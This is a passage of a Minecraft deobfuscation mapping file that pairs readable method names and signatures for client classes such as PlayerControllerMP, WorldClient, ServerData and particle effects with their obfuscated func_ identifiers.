net/minecraft/client/multiplayer/PlayerControllerMP/flipPlayer (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78745_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/interactWithEntitySendPacket (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/Entity;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78768_b (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/resetBlockRemoving ()V net/minecraft/client/multiplayer/PlayerControllerMP/func_78767_c ()V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/onPlayerDamageBlock (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/client/multiplayer/PlayerControllerMP/func_180512_c (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/onStoppedUsingItem (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/client/multiplayer/PlayerControllerMP/func_78766_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/getBlockReachDistance ()F net/minecraft/client/multiplayer/PlayerControllerMP/func_78757_d ()F +MD: net/minecraft/client/multiplayer/PlayerControllerMP/updateController ()V net/minecraft/client/multiplayer/PlayerControllerMP/func_78765_e ()V +MD: net/minecraft/client/multiplayer/PlayerControllerMP/gameIsSurvivalOrAdventure ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78763_f ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/isNotCreative ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78762_g ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/isInCreativeMode ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78758_h ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/extendedReach ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_78749_i ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/isRidingHorse ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_110738_j ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/isSpectatorMode ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_178887_k ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/getCurrentGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/client/multiplayer/PlayerControllerMP/func_178889_l ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/client/multiplayer/PlayerControllerMP/getIsHittingBlock ()Z net/minecraft/client/multiplayer/PlayerControllerMP/func_181040_m ()Z +MD: net/minecraft/client/multiplayer/PlayerControllerMP/syncCurrentPlayItem ()V net/minecraft/client/multiplayer/PlayerControllerMP/func_78750_j ()V +MD: net/minecraft/client/multiplayer/WorldClient$1/call ()Ljava/lang/String; net/minecraft/client/multiplayer/WorldClient$1/call ()Ljava/lang/String; +MD: net/minecraft/client/multiplayer/WorldClient$1/call ()Ljava/lang/Object; net/minecraft/client/multiplayer/WorldClient$1/call ()Ljava/lang/Object; +MD: net/minecraft/client/multiplayer/WorldClient$2/call ()Ljava/lang/String; net/minecraft/client/multiplayer/WorldClient$2/call ()Ljava/lang/String; +MD: net/minecraft/client/multiplayer/WorldClient$2/call ()Ljava/lang/Object; net/minecraft/client/multiplayer/WorldClient$2/call ()Ljava/lang/Object; +MD: net/minecraft/client/multiplayer/WorldClient$3/call ()Ljava/lang/String; net/minecraft/client/multiplayer/WorldClient$3/call ()Ljava/lang/String; +MD: net/minecraft/client/multiplayer/WorldClient$3/call ()Ljava/lang/Object; net/minecraft/client/multiplayer/WorldClient$3/call ()Ljava/lang/Object; +MD: net/minecraft/client/multiplayer/WorldClient$4/call ()Ljava/lang/String; net/minecraft/client/multiplayer/WorldClient$4/call ()Ljava/lang/String; +MD: net/minecraft/client/multiplayer/WorldClient$4/call ()Ljava/lang/Object; net/minecraft/client/multiplayer/WorldClient$4/call ()Ljava/lang/Object; +MD: net/minecraft/client/multiplayer/WorldClient/sendQuittingDisconnectingPacket ()V net/minecraft/client/multiplayer/WorldClient/func_72882_A ()V +MD: net/minecraft/client/multiplayer/WorldClient/removeAllEntities ()V net/minecraft/client/multiplayer/WorldClient/func_73022_a ()V +MD: net/minecraft/client/multiplayer/WorldClient/makeFireworks (DDDDDDLnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/client/multiplayer/WorldClient/func_92088_a (DDDDDDLnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/client/multiplayer/WorldClient/playSound (DDDLjava/lang/String;FFZ)V net/minecraft/client/multiplayer/WorldClient/func_72980_b (DDDLjava/lang/String;FFZ)V +MD: net/minecraft/client/multiplayer/WorldClient/getEntityByID (I)Lnet/minecraft/entity/Entity; net/minecraft/client/multiplayer/WorldClient/func_73045_a (I)Lnet/minecraft/entity/Entity; +MD: net/minecraft/client/multiplayer/WorldClient/invalidateBlockReceiveRegion (IIIIII)V net/minecraft/client/multiplayer/WorldClient/func_73031_a (IIIIII)V +MD: net/minecraft/client/multiplayer/WorldClient/addEntityToWorld (ILnet/minecraft/entity/Entity;)V net/minecraft/client/multiplayer/WorldClient/func_73027_a (ILnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/multiplayer/WorldClient/setWorldScoreboard (Lnet/minecraft/scoreboard/Scoreboard;)V net/minecraft/client/multiplayer/WorldClient/func_96443_a (Lnet/minecraft/scoreboard/Scoreboard;)V +MD: net/minecraft/client/multiplayer/WorldClient/addWorldInfoToCrashReport (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReportCategory; net/minecraft/client/multiplayer/WorldClient/func_72914_a (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReportCategory; +MD: net/minecraft/client/multiplayer/WorldClient/access$000 (Lnet/minecraft/client/multiplayer/WorldClient;)Ljava/util/Set; net/minecraft/client/multiplayer/WorldClient/access$000 (Lnet/minecraft/client/multiplayer/WorldClient;)Ljava/util/Set; +MD: net/minecraft/client/multiplayer/WorldClient/playSoundAtPos (Lnet/minecraft/util/BlockPos;Ljava/lang/String;FFZ)V net/minecraft/client/multiplayer/WorldClient/func_175731_a (Lnet/minecraft/util/BlockPos;Ljava/lang/String;FFZ)V +MD: net/minecraft/client/multiplayer/WorldClient/onEntityAdded (Lnet/minecraft/entity/Entity;)V net/minecraft/client/multiplayer/WorldClient/func_72923_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/multiplayer/WorldClient/doVoidFogParticles (III)V net/minecraft/client/multiplayer/WorldClient/func_73029_E (III)V +MD: net/minecraft/client/multiplayer/WorldClient/doPreChunk (IIZ)V net/minecraft/client/multiplayer/WorldClient/func_73025_a (IIZ)V +MD: net/minecraft/client/multiplayer/WorldClient/setWorldTime (J)V net/minecraft/client/multiplayer/WorldClient/func_72877_b (J)V +MD: net/minecraft/client/multiplayer/WorldClient/access$100 (Lnet/minecraft/client/multiplayer/WorldClient;)Ljava/util/Set; net/minecraft/client/multiplayer/WorldClient/access$100 (Lnet/minecraft/client/multiplayer/WorldClient;)Ljava/util/Set; +MD: net/minecraft/client/multiplayer/WorldClient/invalidateRegionAndSetBlock (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/client/multiplayer/WorldClient/func_180503_b (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/client/multiplayer/WorldClient/onEntityRemoved (Lnet/minecraft/entity/Entity;)V net/minecraft/client/multiplayer/WorldClient/func_72847_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/multiplayer/WorldClient/tick ()V net/minecraft/client/multiplayer/WorldClient/func_72835_b ()V +MD: net/minecraft/client/multiplayer/WorldClient/access$200 (Lnet/minecraft/client/multiplayer/WorldClient;)Lnet/minecraft/client/Minecraft; net/minecraft/client/multiplayer/WorldClient/access$200 (Lnet/minecraft/client/multiplayer/WorldClient;)Lnet/minecraft/client/Minecraft; +MD: net/minecraft/client/multiplayer/WorldClient/spawnEntityInWorld (Lnet/minecraft/entity/Entity;)Z net/minecraft/client/multiplayer/WorldClient/func_72838_d (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/multiplayer/WorldClient/removeEntityFromWorld (I)Lnet/minecraft/entity/Entity; net/minecraft/client/multiplayer/WorldClient/func_73028_b (I)Lnet/minecraft/entity/Entity; +MD: net/minecraft/client/multiplayer/WorldClient/removeEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/client/multiplayer/WorldClient/func_72900_e (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/multiplayer/WorldClient/updateBlocks ()V net/minecraft/client/multiplayer/WorldClient/func_147456_g ()V +MD: net/minecraft/client/multiplayer/WorldClient/createChunkProvider ()Lnet/minecraft/world/chunk/IChunkProvider; net/minecraft/client/multiplayer/WorldClient/func_72970_h ()Lnet/minecraft/world/chunk/IChunkProvider; +MD: net/minecraft/client/multiplayer/WorldClient/updateWeather ()V net/minecraft/client/multiplayer/WorldClient/func_72979_l ()V +MD: net/minecraft/client/multiplayer/WorldClient/getRenderDistanceChunks ()I net/minecraft/client/multiplayer/WorldClient/func_152379_p ()I +MD: net/minecraft/client/network/NetworkPlayerInfo$1/skinAvailable (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;Lnet/minecraft/util/ResourceLocation;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;)V net/minecraft/client/network/NetworkPlayerInfo$1/func_180521_a (Lcom/mojang/authlib/minecraft/MinecraftProfileTexture$Type;Lnet/minecraft/util/ResourceLocation;Lcom/mojang/authlib/minecraft/MinecraftProfileTexture;)V +MD: net/minecraft/client/network/NetworkPlayerInfo/getGameProfile ()Lcom/mojang/authlib/GameProfile; net/minecraft/client/network/NetworkPlayerInfo/func_178845_a ()Lcom/mojang/authlib/GameProfile; +MD: net/minecraft/client/network/NetworkPlayerInfo/setResponseTime (I)V net/minecraft/client/network/NetworkPlayerInfo/func_178838_a (I)V +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178846_a (J)V net/minecraft/client/network/NetworkPlayerInfo/func_178846_a (J)V +MD: net/minecraft/client/network/NetworkPlayerInfo/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/client/network/NetworkPlayerInfo/func_178839_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/client/network/NetworkPlayerInfo/access$100 (Lnet/minecraft/client/network/NetworkPlayerInfo;)Ljava/lang/String; net/minecraft/client/network/NetworkPlayerInfo/access$100 (Lnet/minecraft/client/network/NetworkPlayerInfo;)Ljava/lang/String; +MD: net/minecraft/client/network/NetworkPlayerInfo/access$102 (Lnet/minecraft/client/network/NetworkPlayerInfo;Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/network/NetworkPlayerInfo/access$102 (Lnet/minecraft/client/network/NetworkPlayerInfo;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/network/NetworkPlayerInfo/access$002 (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/network/NetworkPlayerInfo/access$002 (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/network/NetworkPlayerInfo/setDisplayName (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/network/NetworkPlayerInfo/func_178859_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/network/NetworkPlayerInfo/getGameType ()Lnet/minecraft/world/WorldSettings$GameType; net/minecraft/client/network/NetworkPlayerInfo/func_178848_b ()Lnet/minecraft/world/WorldSettings$GameType; +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178836_b (I)V net/minecraft/client/network/NetworkPlayerInfo/func_178836_b (I)V +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178844_b (J)V net/minecraft/client/network/NetworkPlayerInfo/func_178844_b (J)V +MD: net/minecraft/client/network/NetworkPlayerInfo/access$202 (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/network/NetworkPlayerInfo/access$202 (Lnet/minecraft/client/network/NetworkPlayerInfo;Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/network/NetworkPlayerInfo/getResponseTime ()I net/minecraft/client/network/NetworkPlayerInfo/func_178853_c ()I +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178857_c (I)V net/minecraft/client/network/NetworkPlayerInfo/func_178857_c (I)V +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178843_c (J)V net/minecraft/client/network/NetworkPlayerInfo/func_178843_c (J)V +MD: net/minecraft/client/network/NetworkPlayerInfo/hasLocationSkin ()Z net/minecraft/client/network/NetworkPlayerInfo/func_178856_e ()Z +MD: net/minecraft/client/network/NetworkPlayerInfo/getSkinType ()Ljava/lang/String; net/minecraft/client/network/NetworkPlayerInfo/func_178851_f ()Ljava/lang/String; +MD: net/minecraft/client/network/NetworkPlayerInfo/getLocationSkin ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/network/NetworkPlayerInfo/func_178837_g ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/network/NetworkPlayerInfo/getLocationCape ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/network/NetworkPlayerInfo/func_178861_h ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/network/NetworkPlayerInfo/getPlayerTeam ()Lnet/minecraft/scoreboard/ScorePlayerTeam; net/minecraft/client/network/NetworkPlayerInfo/func_178850_i ()Lnet/minecraft/scoreboard/ScorePlayerTeam; +MD: net/minecraft/client/network/NetworkPlayerInfo/loadPlayerTextures ()V net/minecraft/client/network/NetworkPlayerInfo/func_178841_j ()V +MD: net/minecraft/client/network/NetworkPlayerInfo/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/network/NetworkPlayerInfo/func_178854_k ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178835_l ()I net/minecraft/client/network/NetworkPlayerInfo/func_178835_l ()I +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178860_m ()I net/minecraft/client/network/NetworkPlayerInfo/func_178860_m ()I +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178847_n ()J net/minecraft/client/network/NetworkPlayerInfo/func_178847_n ()J +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178858_o ()J net/minecraft/client/network/NetworkPlayerInfo/func_178858_o ()J +MD: net/minecraft/client/network/NetworkPlayerInfo/func_178855_p ()J net/minecraft/client/network/NetworkPlayerInfo/func_178855_p ()J +MD: net/minecraft/client/multiplayer/ServerAddress/getIP ()Ljava/lang/String; net/minecraft/client/multiplayer/ServerAddress/func_78861_a ()Ljava/lang/String; +MD: net/minecraft/client/multiplayer/ServerAddress/fromString (Ljava/lang/String;)Lnet/minecraft/client/multiplayer/ServerAddress; net/minecraft/client/multiplayer/ServerAddress/func_78860_a (Ljava/lang/String;)Lnet/minecraft/client/multiplayer/ServerAddress; +MD: net/minecraft/client/multiplayer/ServerAddress/parseIntWithDefault (Ljava/lang/String;I)I net/minecraft/client/multiplayer/ServerAddress/func_78862_a (Ljava/lang/String;I)I +MD: net/minecraft/client/multiplayer/ServerAddress/getPort ()I net/minecraft/client/multiplayer/ServerAddress/func_78864_b ()I +MD: net/minecraft/client/multiplayer/ServerAddress/getServerAddress (Ljava/lang/String;)[Ljava/lang/String; net/minecraft/client/multiplayer/ServerAddress/func_78863_b (Ljava/lang/String;)[Ljava/lang/String; +MD: net/minecraft/client/multiplayer/ServerData$ServerResourceMode/getMotd ()Lnet/minecraft/util/IChatComponent; net/minecraft/client/multiplayer/ServerData$ServerResourceMode/func_152589_a ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/client/multiplayer/ServerData$ServerResourceMode/values ()[Lnet/minecraft/client/multiplayer/ServerData$ServerResourceMode; net/minecraft/client/multiplayer/ServerData$ServerResourceMode/values ()[Lnet/minecraft/client/multiplayer/ServerData$ServerResourceMode; +MD: net/minecraft/client/multiplayer/ServerData/getNBTCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/client/multiplayer/ServerData/func_78836_a ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/client/multiplayer/ServerData/setResourceMode (Lnet/minecraft/client/multiplayer/ServerData$ServerResourceMode;)V net/minecraft/client/multiplayer/ServerData/func_152584_a (Lnet/minecraft/client/multiplayer/ServerData$ServerResourceMode;)V +MD: net/minecraft/client/multiplayer/ServerData/copyFrom (Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/multiplayer/ServerData/func_152583_a (Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/multiplayer/ServerData/getServerDataFromNBTCompound (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/client/multiplayer/ServerData; net/minecraft/client/multiplayer/ServerData/func_78837_a (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/client/multiplayer/ServerData; +MD: net/minecraft/client/multiplayer/ServerData/setBase64EncodedIconData (Ljava/lang/String;)V net/minecraft/client/multiplayer/ServerData/func_147407_a (Ljava/lang/String;)V +MD: net/minecraft/client/multiplayer/ServerData/getResourceMode ()Lnet/minecraft/client/multiplayer/ServerData$ServerResourceMode; net/minecraft/client/multiplayer/ServerData/func_152586_b ()Lnet/minecraft/client/multiplayer/ServerData$ServerResourceMode; +MD: net/minecraft/client/multiplayer/ServerData/getBase64EncodedIconData ()Ljava/lang/String; net/minecraft/client/multiplayer/ServerData/func_147409_e ()Ljava/lang/String; +MD: net/minecraft/client/multiplayer/ServerData/isOnLAN ()Z net/minecraft/client/multiplayer/ServerData/func_181041_d ()Z +MD: net/minecraft/client/multiplayer/ServerList/loadServerList ()V net/minecraft/client/multiplayer/ServerList/func_78853_a ()V +MD: net/minecraft/client/multiplayer/ServerList/getServerData (I)Lnet/minecraft/client/multiplayer/ServerData; net/minecraft/client/multiplayer/ServerList/func_78850_a (I)Lnet/minecraft/client/multiplayer/ServerData; +MD: net/minecraft/client/multiplayer/ServerList/swapServers (II)V net/minecraft/client/multiplayer/ServerList/func_78857_a (II)V +MD: net/minecraft/client/multiplayer/ServerList/func_147413_a (ILnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/multiplayer/ServerList/func_147413_a (ILnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/multiplayer/ServerList/addServerData (Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/multiplayer/ServerList/func_78849_a (Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/multiplayer/ServerList/saveServerList ()V net/minecraft/client/multiplayer/ServerList/func_78855_b ()V +MD: net/minecraft/client/multiplayer/ServerList/removeServerData (I)V net/minecraft/client/multiplayer/ServerList/func_78851_b (I)V +MD: net/minecraft/client/multiplayer/ServerList/func_147414_b (Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/multiplayer/ServerList/func_147414_b (Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/multiplayer/ServerList/countServers ()I net/minecraft/client/multiplayer/ServerList/func_78856_c ()I +MD: net/minecraft/client/network/OldServerPinger$1/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/client/network/OldServerPinger$1/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/client/network/OldServerPinger$1/handlePong (Lnet/minecraft/network/status/server/S01PacketPong;)V net/minecraft/client/network/OldServerPinger$1/func_147398_a (Lnet/minecraft/network/status/server/S01PacketPong;)V +MD: net/minecraft/client/network/OldServerPinger$1/handleServerInfo (Lnet/minecraft/network/status/server/S00PacketServerInfo;)V net/minecraft/client/network/OldServerPinger$1/func_147397_a (Lnet/minecraft/network/status/server/S00PacketServerInfo;)V +MD: net/minecraft/client/network/OldServerPinger$2$1/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;)V net/minecraft/client/network/OldServerPinger$2$1/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/client/network/OldServerPinger$2$1/channelActive (Lio/netty/channel/ChannelHandlerContext;)V net/minecraft/client/network/OldServerPinger$2$1/channelActive (Lio/netty/channel/ChannelHandlerContext;)V +MD: net/minecraft/client/network/OldServerPinger$2$1/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;)V net/minecraft/client/network/OldServerPinger$2$1/channelRead0 (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;)V +MD: net/minecraft/client/network/OldServerPinger$2$1/exceptionCaught (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Throwable;)V net/minecraft/client/network/OldServerPinger$2$1/exceptionCaught (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Throwable;)V +MD: net/minecraft/client/network/OldServerPinger$2/initChannel (Lio/netty/channel/Channel;)V net/minecraft/client/network/OldServerPinger$2/initChannel (Lio/netty/channel/Channel;)V +MD: net/minecraft/client/network/OldServerPinger/pingPendingNetworks ()V net/minecraft/client/network/OldServerPinger/func_147223_a ()V +MD: net/minecraft/client/network/OldServerPinger/ping (Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/network/OldServerPinger/func_147224_a (Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/network/OldServerPinger/access$100 (Lnet/minecraft/client/network/OldServerPinger;Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/network/OldServerPinger/access$100 (Lnet/minecraft/client/network/OldServerPinger;Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/network/OldServerPinger/clearPendingNetworks ()V net/minecraft/client/network/OldServerPinger/func_147226_b ()V +MD: net/minecraft/client/network/OldServerPinger/tryCompatibilityPing (Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/network/OldServerPinger/func_147225_b (Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/network/OldServerPinger/access$000 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/network/OldServerPinger/access$000 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/network/OldServerPinger/access$200 ()Lcom/google/common/base/Splitter; net/minecraft/client/network/OldServerPinger/access$200 ()Lcom/google/common/base/Splitter; +MD: net/minecraft/client/particle/Barrier$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/Barrier$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/Barrier/getFXLayer ()I net/minecraft/client/particle/Barrier/func_70537_b ()I +MD: net/minecraft/client/particle/Barrier/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/Barrier/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityBreakingFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityBreakingFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityBreakingFX$SlimeFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityBreakingFX$SlimeFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityBreakingFX$SnowballFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityBreakingFX$SnowballFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityBreakingFX/getFXLayer ()I net/minecraft/client/particle/EntityBreakingFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityBreakingFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityBreakingFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityBubbleFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityBubbleFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityBubbleFX/onUpdate ()V net/minecraft/client/particle/EntityBubbleFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityCrit2FX$MagicFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityCrit2FX$MagicFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityCrit2FX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityCrit2FX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityCrit2FX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityCrit2FX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityCrit2FX/onUpdate ()V net/minecraft/client/particle/EntityCrit2FX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityDropParticleFX$LavaFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityDropParticleFX$LavaFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityDropParticleFX$WaterFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityDropParticleFX$WaterFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityDropParticleFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityDropParticleFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityDropParticleFX/getBrightness (F)F net/minecraft/client/particle/EntityDropParticleFX/func_70013_c (F)F +MD: net/minecraft/client/particle/EntityDropParticleFX/onUpdate ()V net/minecraft/client/particle/EntityDropParticleFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX$EnchantmentTable/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityEnchantmentTableParticleFX$EnchantmentTable/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityEnchantmentTableParticleFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX/getBrightness (F)F net/minecraft/client/particle/EntityEnchantmentTableParticleFX/func_70013_c (F)F +MD: net/minecraft/client/particle/EntityEnchantmentTableParticleFX/onUpdate ()V net/minecraft/client/particle/EntityEnchantmentTableParticleFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityExplodeFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityExplodeFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityExplodeFX/onUpdate ()V net/minecraft/client/particle/EntityExplodeFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityFirework$OverlayFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityFirework$OverlayFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityFirework$SparkFX/getCollisionBoundingBox ()Lnet/minecraft/util/AxisAlignedBB; net/minecraft/client/particle/EntityFirework$SparkFX/func_70046_E ()Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/client/particle/EntityFirework$SparkFX/setColour (I)V net/minecraft/client/particle/EntityFirework$SparkFX/func_92044_a (I)V +MD: net/minecraft/client/particle/EntityFirework$SparkFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V 